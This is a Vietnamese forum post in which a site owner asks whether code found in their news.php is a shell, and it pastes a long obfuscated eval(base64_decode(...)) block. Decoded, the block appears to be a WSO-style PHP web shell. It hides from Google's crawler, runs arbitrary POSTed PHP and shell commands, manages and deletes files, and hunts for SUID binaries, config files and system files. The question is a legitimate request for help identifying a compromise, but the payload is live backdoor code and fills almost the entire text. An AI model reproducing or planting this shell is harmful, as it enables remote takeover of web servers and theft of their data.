[MU] Đây có phải là shell?
Follow us on
Follow us on Facebook Follow us on Twitter Linked In Flickr Watch us on YouTube My Space Blogger
 
Trang 1 của 2 1 2 CuốiCuối
Kết quả 1 đến 10 của 12
  1. #1
    Thành Viên
    Ngày tham gia
    Aug 2006
    Bài viết
    422
    Thanks
    66
    Thanked 19 Times in 18 Posts

    Đây có phải là shell?

    trong file news.php ở phần news của mình có đoạn code như sau
    <?php eval(base64_decode('JGF1dGhfcGFzcyA9ICI0YTA5MTEzZj k4MzQyMmMyNGEwMjczNjM0MTlkMTdjZSI7IA0KJGNvbG9yID0g IiMwMGZmMDAiOyANCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc0 1hbic7IA0KQGRlZmluZSgnU0VMRl9QQVRIJywgX19GSUxFX18p OyANCmlmKCBzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0 VOVCddLCdHb29nbGUnKSAhPT0gZmFsc2UgKSB7IA0KICAgIGhl YWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyANCiAgIC BleGl0OyANCn0gDQpAc2Vzc2lvbl9zdGFydCgpOyANCkBlcnJv cl9yZXBvcnRpbmcoMCk7IA0KQGluaV9zZXQoJ2Vycm9yX2xvZy csTlVMTCk7IA0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyAN CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyANCk BzZXRfdGltZV9saW1pdCgwKTsgDQpAc2V0X21hZ2ljX3F1b3Rl c19ydW50aW1lKDApOyANCkBkZWZpbmUoJ1ZFUlNJT04nLCAnMi 4xJyk7IA0KaWYoIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgKSB7 IA0KICAgIGZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYX JyYXkpIHsgDQogICAgICAgIHJldHVybiBpc19hcnJheSgkYXJy YXkpID8gYXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLC AkY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AiU2hvdyBjb21wdXRlcnMiID0+IC JuZXQgdmlldyIsIA0KICAgICAgICAiQVJQIFRhYmxlIiA9PiAi YXJwIC1hIiwgDQogICAgICAgICJJUCBDb25maWd1cmF0aW9uIi A9PiAiaXBjb25maWcgL2FsbCINCiAgICApOyANCmVsc2UNCiAg ICAkYWxpYXNlcyA9IGFycmF5KCANCiAgICAgICAgICAiTGlzdC BkaXIiID0+ICJscyAtbGEiLCANCiAgICAgICAgImxpc3QgZmls ZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZG VkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsIA0KICAg ICAgICAgICJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YX QgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLCANCiAgICAgICAgIkZp bmQiID0+ICIiLCANCiAgICAgICAgICAiZmluZCBhbGwgc3VpZC BmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAw MCAtbHMiLCANCiAgICAgICAgICAiZmluZCBzdWlkIGZpbGVzIG luIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBl cm0gLTA0MDAwIC1scyIsDQogICAgICAgICAgImZpbmQgYWxsIH NnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAt MDIwMDAgLWxzIiwgDQogICAgICAgICAgImZpbmQgc2dpZCBmaW xlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBm IC1wZXJtIC0wMjAwMCAtbHMiLA0KICAgICAgICAgICJmaW5kIG NvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBl IGYgLW5hbWUgY29uZmlnLmluYy5waHAiLCANCiAgICAgICAgIC AiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBl IGYgLW5hbWUgXCJjb25maWcqXCIiLCANCiAg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GMscDEscDIscDMsY2hhcnNldCkgeyANCiAgICAgIC AgaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTsg DQogICAgICAgIGlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLn ZhbHVlPWM7IA0KICAgICAgICBpZihwMSAhPSBudWxsKWRvY3Vt ZW50Lm1mLnAxLnZhbHVlPXAxOyANCiAgICAgICAgaWYocDIgIT 0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjsgDQogICAg ICAgIGlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdW U9cDM7IA0KICAgICAgICBpZihjaGFyc2V0ICE9IG51bGwpZG9j dW1lbnQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0OyANCiAgIC B9IA0KICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJz ZXQpIHsgDQogICAgICAgIHNldChhLGMscDEscDIscDMsY2hhcn NldCk7IA0KICAgICAgICBkb2N1bWVudC5tZi5zdWJtaXQoKTsg DQogICAgfSANCiAgICBmdW5jdGlvbiBhKGEsYyxwMSxwMixwMy xjaGFyc2V0KSB7IA0KICAgICAgICBzZXQoYSxjLHAxLHAyLHAz LGNoYXJzZXQpOyANCiAgICAgICAgdmFyIHBhcmFtcyA9ICJham F4PXRydWUiOyANCiAgICAgICAgZm9yKGk9MDtpPGRvY3VtZW50 Lm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspIA0KICAgICAgICAgIC AgcGFyYW1zICs9ICImIitkb2N1bWVudC5tZi5lbGVtZW50c1tp XS5uYW1lKyI9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbn QubWYuZWxlbWVudHNbaV0udmFsdWUpOyANCiAgICAgICAgc3Io Jzw/PSRfU0VSVkVSWydSRVFVRVNUX1VSSSddOz8+JywgcGFyYW1zKT sgDQogICAgfSANCiAgICBmdW5jdGlvbiBzcih1cmwsIHBhcmFt cykgeyAgICAgDQogICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cF JlcXVlc3QpIHsgDQogICAgICAgICAgICByZXEgPSBuZXcgWE1M SHR0cFJlcXVlc3QoKTsgDQogICAgICAgICAgICByZXEub25yZW FkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsgDQog ICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZS k7IA0KICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIg KCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm 9ybS11cmxlbmNvZGVkIik7IA0KICAgICAgICAgICAgcmVxLnNl bmQocGFyYW1zKTsgDQogICAgICAgIH0gIA0KICAgICAgICBlbH NlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgeyANCiAgICAg ICAgICAgIHJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3 NvZnQuWE1MSFRUUCIpOyANCiAgICAgICAgICAgIGlmIChyZXEp IHsgDQogICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZW NoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7IA0KICAgICAgICAg ICAgICAgIHJlcS5vcGVuKCJQT1NUIiwgdXJsLCB0cnVlKTsgDQ ogICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIg KCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm 9ybS11cmxlbmNvZGVkIik7IA0KICAgICAgICAgICAgICAgIHJl cS5zZW5kKHBhcmFtcyk7IA0KICAgICAgICAgICAgfSANCiAgIC AgICAgfSANCiAgICB9IA0KICAgIGZ1bmN0aW9uIHByb2Nlc3NS ZXFDaGFuZ2UoKSB7IA0KICAgICAgICBpZiggKHJlcS5yZWFkeV N0YXRlID09IDQpICkgDQogICAgICAgICAgICBpZihyZXEuc3Rh dHVzID09IDIwMCkgeyANCiAgICAgICAgICAgICAgICAvL2FsZX J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2xlYW4oKTsgDQogICAg fWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKS kgeyANCiAgICAgICAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsg DQogICAgfWVsc2VpZihpc19yZXNvdXJjZSgkZiA9IEBwb3Blbi gkaW4sInIiKSkpIHsgDQogICAgICAgICRvdXQgPSAiIjsgDQog ICAgICAgIHdoaWxlKCFAZmVvZigkZikpIA0KICAgICAgICAgIC AgJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsgDQogICAgICAgIHBj bG9zZSgkZik7IA0KICAgIH0gDQogICAgcmV0dXJuICRvdXQ7IA 0KfSANCmZ1bmN0aW9uIHZpZXdTaXplKCRzKSB7IA0KICAgIGlm KCRzID49IDEwNzM3NDE4MjQpIA0KICAgICAgICByZXR1cm4gc3 ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBH Qic7IA0KICAgIGVsc2VpZigkcyA+PSAxMDQ4NTc2KSANCiAgIC AgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4 NTc2ICkgLiAnIE1CJzsgDQogICAgZWxzZWlmKCRzID49IDEwMj QpIA0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAk cyAvIDEwMjQgKSAuICcgS0InOyANCiAgICBlbHNlDQogICAgIC AgIHJldHVybiAkcyAuICcgQic7IA0KfSANCiANCmZ1bmN0aW9u IHBlcm1zKCRwKSB7IA0KICAgIGlmICgoJHAgJiAweEMwMDApID 09IDB4QzAwMCkkaSA9ICdzJzsgDQogICAgZWxzZWlmICgoJHAg JiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsgDQogICAgZW xzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICct JzsgDQogICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4Nj AwMCkkaSA9ICdiJzsgDQogICAgZWxzZWlmICgoJHAgJiAweDQw MDApID09IDB4NDAwMCkkaSA9ICdkJzsgDQogICAgZWxzZWlmIC goJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsgDQog ICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaS A9ICdwJzsgDQogICAgZWxzZSAkaSA9ICd1JzsgDQogICAgJGkg Lj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOyANCiAgIC AkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwND ApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgo JHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7IA0KICAgICRpIC 49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsgDQogICAg JGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOyANCi AgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwIC YgMHgwNDAwKSA/ICdTJyA6ICctJykpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMD A0KSA/ICdyJyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwMD IpID8gJ3cnIDogJy0nKTsgDQogICAgJGkgLj0gKCgkcCAmIDB4 MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOi AnLScpKTsgDQogICAgcmV0dXJuICRpOyANCn0gDQpmdW5jdGlv biB2aWV3UGVybXNDb2xvcigkZikgeyAgDQogICAgaWYgKCFAaX NfcmVhZGFibGUoJGYpKSANCiAgICAgICAgcmV0dXJuICc8Zm9u dCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcy gkZikpLic8L2I+PC9mb250Pic7IA0KICAgIGVsc2VpZiAoIUBp c193cml0YWJsZSgkZikpIA0KICAgICAgICByZXR1cm4gJzxmb2 50IGNvbG9yPXdoaXRlPjxiPicucGVybXMoQGZpbGVwZXJtcygk ZikpLic8L2I+PC9mb250Pic7IA0KICAgIGVsc2UNCiAgICAgIC AgcmV0dXJuICc8Zm9udCBjb2xvcj0jMDBCQjAwPjxiPicucGVy bXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7IA0KfS ANCmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgeyAN CiAgICBmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsgDQogICAgIC AgICRkaCAgPSBvcGVuZGlyKCRkaXIpOyANCiAgICAgICAgd2hp bGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZG gpKSkgeyANCiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGVu YW1lOyANCiAgICAgICAgfSANCiAgICAgICAgcmV0dXJuICRmaW xlczsgDQogICAgfSANCn0gDQpmdW5jdGlvbiB3aGljaCgkcCkg eyANCiAgICAkcGF0aCA9IGV4KCd3aGljaCAnLiRwKTsgDQogIC AgaWYoIWVtcHR5KCRwYXRoKSkgDQogICAgICAgIHJldHVybiAk cGF0aDsgDQogICAgcmV0dXJuIGZhbHNlOyANCn0gDQpmdW5jdG lvbiBhY3Rpb25TZWNJbmZvKCkgeyANCiAgICBwcmludEhlYWRl cigpOyANCiAgICBlY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IG luZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+Jzsg DQogICAgZnVuY3Rpb24gc2hvd1NlY1BhcmFtKCRuLCAkdikgey ANCiAgICAgICAgJHYgPSB0cmltKCR2KTsgDQogICAgICAgIGlm KCR2KSB7IA0KICAgICAgICAgICAgZWNobyAnPHNwYW4+Jy4kbi 4nOiA8L3NwYW4+JzsgDQogICAgICAgICAgICBpZihzdHJwb3Mo JHYsICJcbiIpID09PS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gICBzaG93U2VjUGFyYW0oJ0Rhbmdlci csIGltcGxvZGUoJywgJywkdGVtcCkpOyANCiAgICAgICAgICAg ICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAgZm9yZWFjaC AoJGRvd25sb2FkZXJzIGFzICRpdGVtKSAgDQogICAgICAgICAg ICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO3 0gDQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rvd25sb2Fk ZXJzJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7IA0KICAgICAgIC AgICAgZWNobyAnDQonOyANCiAgICAgICAgICAgIHNob3dTZWNQ YXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldG MvaG9zdHMnKSk7IA0KICAgICAgICAgICAgc2hvd1NlY1BhcmFt KCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7IA0KICAgICAgIC AgICAgc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZp bGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOyANCiAgIC AgICAgfSANCiAgICB9IGVsc2UgeyANCiAgICAgICAgc2hvd1Nl Y1BhcmFtKCdPUyBWZXJzaW9uJyxleCgndmVyJykpOyAgDQogIC AgICAgIHNob3dTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycs ZXgoJ25ldCBhY2NvdW50cycpKTsgIA0KICAgICAgICBzaG93U2 VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLGV4KCduZXQgdXNlcicp KTsgDQogICAgfSANCiAgICBlY2hvICc8L2Rpdj4nOyANCiAgIC BwcmludEZvb3RlcigpOyANCn0gDQogDQpmdW5jdGlvbiBhY3Rp b25QaHAoKSB7IA0KICAgIGlmKCBpc3NldCgkX1BPU1RbJ2FqYX gnXSkgKSB7IA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VS VkVSWydIVFRQX0hPU1QnXSku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Oyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT 4nOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyAN CiAgICAgICAgb2Jfc3RhcnQoKTsgDQogICAgICAgIGV2YWwoJF 9QT1NUWydwMSddKTsgDQogICAgICAgIGVjaG8gaHRtbHNwZWNp YWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7IA0KICAgIH0gDQogIC AgZWNobyAnPC9wcmU+PC9kaXY+JzsgDQogICAgcHJpbnRGb290 ZXIoKTsgDQp9IA0KIA0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW 4oKSB7IA0KICAgIHByaW50SGVhZGVyKCk7IA0KICAgIGVjaG8g JzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udG VudD4nOyANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7 IA0KICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7IA0KIC AgICAgICAgICAgY2FzZSAndXBsb2FkRmlsZSc6IA0KICAgICAg ICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRk lMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWydu YW1lJ10pKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2 FuJ3QgdXBsb2FkIGZpbGUhIjsgDQogICAgICAgICAgICAgICAg YnJlYWs7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgIC AgICAgICAgIGNhc2UgJ21rZGlyJzogDQogICAgICAgICAgICAg ICAgaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKSANCiAgICAgIC AgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBk aXIiOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgIC AgICAgICBjYXNlICdkZWxldGUnOiANCiAgICAgICAgICAgICAg ICBmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsgDQogICAgIC AgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwt MSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7IA0KICAgICAgIC AgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkcGF0aCk7IA0K ICAgICAgICAgICAgICAgICAgICB3aGlsZSAoICgkaXRlbSA9IH JlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgeyANCiAgICAgICAg ICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07IA 0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAoYmFzZW5h bWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbS kgPT0gIi4iKSApIA0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgIGNvbnRpbnVlOyANCiAgICAgICAgICAgICAgICAgICAgIC AgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOyANCiAgICAgICAg ICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikgDQ ogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGly KCRpdGVtKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBlbH NlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGlu aygkaXRlbSk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KIC AgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOyANCiAg ICAgICAgICAgICAgICAgICAgcm1kaXIoJHBhdGgpOyANCiAgIC AgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGlmKGlz X2FycmF5KEAkX1BPU1RbJ2YnXSkpIA0KICAgICAgICAgICAgIC AgICAgICBmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7IA0K ICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZG UoJGYpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlz X2RpcigkZikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgIC AgIGRlbGV0ZURpcigkZik7IA0KICAgICAgICAgICAgICAgICAg ICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgIC AgIEB1bmxpbmsoJGYpOyANCiAgICAgICAgICAgICAgICAgICAg fSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgIC AgICBjYXNlICdwYXN0ZSc6IA0KICAgICAgICAgICAgICAgIGlm KCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7IA0KICAgIC AgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRj LCRzLCRkKXsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZi hpc19kaXIoJGMuJHMpKXsgDQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgbWtkaXIoJGQuJHMpOyANCiAgICAgICAgICAgIC AgICAgICAgICAgICAgICAkaCA9IG9wZW5kaXIoJGMuJHMpOyAN CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKC RmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgDQogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi 4iKSBhbmQgKCRmICE9ICIuLiIpKSB7IA0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy 4kcy4nLycsJGYsICRkLiRzLicvJyk7IA0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgIC AgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsg DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJG MuJHMsICRkLiRzKTsgDQogICAgICAgICAgICAgICAgICAgICAg ICB9IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgIC AgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFz ICRmKSANCiAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcG FzdGUoJF9TRVNTSU9OWydjd2QnXSwkZiwgJEdMT0JBTFNbJ2N3 ZCddKTsgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgIC AgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICdt b3ZlJykgeyANCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb2 4gbW92ZV9wYXN0ZSgkYywkcywkZCl7IA0KICAgICAgICAgICAg ICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7IA0KICAgIC AgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsg DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcG VuZGlyKCRjLiRzKTsgDQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZm Fsc2UpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgey ANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOy ANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSAN CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2 ZpbGUoJGMuJHMpKSB7IA0KICAgICAgICAgICAgICAgICAgICAg ICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7IA0KICAgICAgIC AgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAg ICAgfSANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1 NFU1NJT05bJ2YnXSBhcyAkZikgDQogICAgICAgICAgICAgICAg ICAgICAgICBAcmVuYW1lKCRfU0VTU0lPTlsnY3dkJ10uJGYsIC RHTE9CQUxTWydjd2QnXS4kZik7IA0KICAgICAgICAgICAgICAg IH0gDQogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWy dmJ10pOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAg ICAgICAgICBkZWZhdWx0OiANCiAgICAgICAgICAgICAgICBpZi ghZW1wdHkoJF9QT1NUWydwMSddKSAmJiAoKCRfUE9TVFsncDEn XSA9PSAnY29weScpfHwoJF9QT1NUWydwMSddID09ICdtb3ZlJy kpICkgeyANCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9O WydhY3QnXSA9IEAkX1BPU1RbJ3AxJ107IA0KICAgICAgICAgIC AgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2Yn XTsgDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRV NTSU9OWydmJ10gYXMgJGsgPT4gJGYpIA0KICAgICAgICAgICAg ICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gdXJsZG Vjb2RlKCRmKTsgDQogICAgICAgICAgICAgICAgICAgICRfU0VT U0lPTlsnY3dkJ10gPSBAJF9QT1NUWydjJ107IA0KICAgICAgIC AgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnJlYWs7IA0K ICAgICAgICB9IA0KICAgICAgICBlY2hvICc8c2NyaXB0PmRvY3 VtZW50Lm1mLnAxLnZhbHVlPSIiO2RvY3VtZW50Lm1mLnAyLnZh bHVlPSIiOzwvc2NyaXB0Pic7IA0KICAgIH0gDQogICAgJGRpck NvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgaW YoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7ICAgIGVjaG8gJ0Nh blwndCBvcGVuIHRoaXMgZm9sZGVyISc7IHJldHVybjsgICAgfQ 0KICAgIGdsb2JhbCAkc29ydDsgDQogICAgJHNvcnQgPSBhcnJh eSgn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hPjwvdGg+PHRoPjxhIGhyZWY9Jy MnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21v ZGlmeV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk1vZGlmeTwvYT 48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9 JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3 Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lv bnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOyANCi AgICAkZGlycyA9ICRmaWxlcyA9ICRsaW5rcyA9IGFycmF5KCk7 IA0KICAgICRuID0gY291bnQoJGRpckNvbnRlbnQpOyANCiAgIC Bmb3IoJGk9MDskaTwkbjskaSsrKSB7IA0KICAgICAgICAkb3cg PSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udG VudFskaV0pKTsgDQogICAgICAgICRnciA9IEBwb3NpeF9nZXRn cmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOyANCi AgICAgICAgJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29u dGVudFskaV0sIA0KICAgICAgICAgICAgICAgICAgICAgJ3BhdG gnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0s IA0KICAgICAgICAgICAgICAgICAgICAgJ21vZGlmeScgPT4gZG F0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEdMT0JBTFNb J2N3ZCddLiRkaXJDb250ZW50WyRpXSkpLCANCiAgICAgICAgIC AgICAgICAgICAgICdwZXJtcycgPT4gdmlld1Blcm1zQ29sb3Io JEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQogIC AgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gQGZpbGVzaXpl KCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLCANCi AgICAgICAgICAgICAgICAgICAgICdvd25lcicgPT4gJG93Wydu YW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV 0pLCANCiAgICAgICAgICAgICAgICAgICAgICdncm91cCcgPT4g JGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV 0pIA0KICAgICAgICAgICAgICAgICAgICApOyANCiAgICAgICAg aWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW 50WyRpXSkpIA0KICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJh eV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKS k7IA0KICAgICAgICBlbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNb J2N3ZCddLiRkaXJDb250ZW50WyRpXSkpIA0KICAgICAgICAgIC AgJGxpbmtzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgn dHlwZScgPT4gJ2xpbmsnKSk7IA0KICAgICAgICBlbHNlaWYoQG lzX2RpcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGld 